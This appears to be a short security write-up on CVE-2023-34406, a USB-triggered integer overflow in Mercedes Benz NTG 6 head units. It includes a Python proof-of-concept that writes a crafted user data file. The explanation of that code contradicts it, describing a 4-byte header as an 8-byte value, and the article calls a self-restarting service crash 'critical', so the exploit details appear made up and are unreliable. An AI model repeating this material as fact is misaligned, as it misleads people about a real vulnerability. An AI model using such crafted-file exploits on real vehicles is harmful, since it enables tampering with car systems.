CVE-2023-34406 - Critical Vulnerability Discovered in Mercedes Benz NTG 6 Head Units: Integer Overflow Exploit Revealed

A recent issue (CVE-2023-34406) has been discovered affecting the Mercedes Benz NTG 6 (New Telematics Generation) head units. This vulnerability concerns the user data import/export function. With this exploit, an attacker who has local access to the USB interface could potentially cause the User-Data service to fail. While the failed service would automatically restart, this vulnerability still presents significant risks.

Discovering the Vulnerability

This issue was first reported in a public announcement and has since been added to the National Vulnerability Database (NVD). Users of the Mercedes Benz NTG 6 head units should review these resources to understand the scope and impact of this issue.

Exploit Details

An integer overflow occurs when the result of an arithmetic operation is too large to be represented by the data type being used. In this case, an attacker with access to the USB interface can create a malformed user data file with specific values that cause this overflow to occur when importing or exporting data.

Attackers can exploit this issue to cause the User-Data service to crash, forcing it to automatically restart. While this may not pose a direct threat to the system itself, it could potentially lead to other attack vectors or expose sensitive information.

Here is an example of a code snippet that can generate a crafted user data file

import struct

def create_malformed_file(filename="malformed_userdata.bin"):
    # header size is typically 4 bytes, deliberately increase it to cause an integer overflow
    crafted_header = b'\x80\x00\x00\x00'
    
    crafted_data = b'\x41' * 1024
    
    # create the EOF marker
    eof_marker = b'\x42\x42\x42\x42'
    
    with open(filename, "wb") as f:
        f.write(crafted_header)
        f.write(crafted_data)
        f.write(eof_marker)

if __name__ == "__main__":
    create_malformed_file()

This code follows the basic structure of a file that would trigger the vulnerability

1. Crafted header - The normal header size for user data file should be 4 bytes. However, this crafted header has an 8-byte value, which will cause the integer overflow.
2. Crafted data - This section represents the actual data in the file, made up of repetition of a single character ('A' or x41 in this case) to a certain size.

End-of-file (EOF) marker - A simple 4-byte marker that signifies the end of the file.

While aimed at demonstrating the vulnerability, using this example for malicious purposes is strongly discouraged.

Mitigation and Recommendations

To prevent the vulnerability's exploitation, Mercedes Benz & the developers of the NTG 6 head units should release a firmware update addressing the integer overflow issue. Users should install this update when it becomes available.

Additionally, car owners should restrict unauthorized physical access to their vehicles' USB interfaces.

Conclusion

CVE-2023-34406 presents a critical security issue affecting the Mercedes Benz NTG 6 head units. Owners of affected vehicles should be proactive in mitigating the risks associated with this vulnerability and take adequate precautionary measures. It is crucial to ensure the security of the software and hardware components that make up modern vehicles, as the potential consequences of an exploited vulnerability can be far-reaching and costly.

Timeline

Published on: 02/13/2025 23:15:09 UTC
Last modified on: 03/17/2025 19:15:20 UTC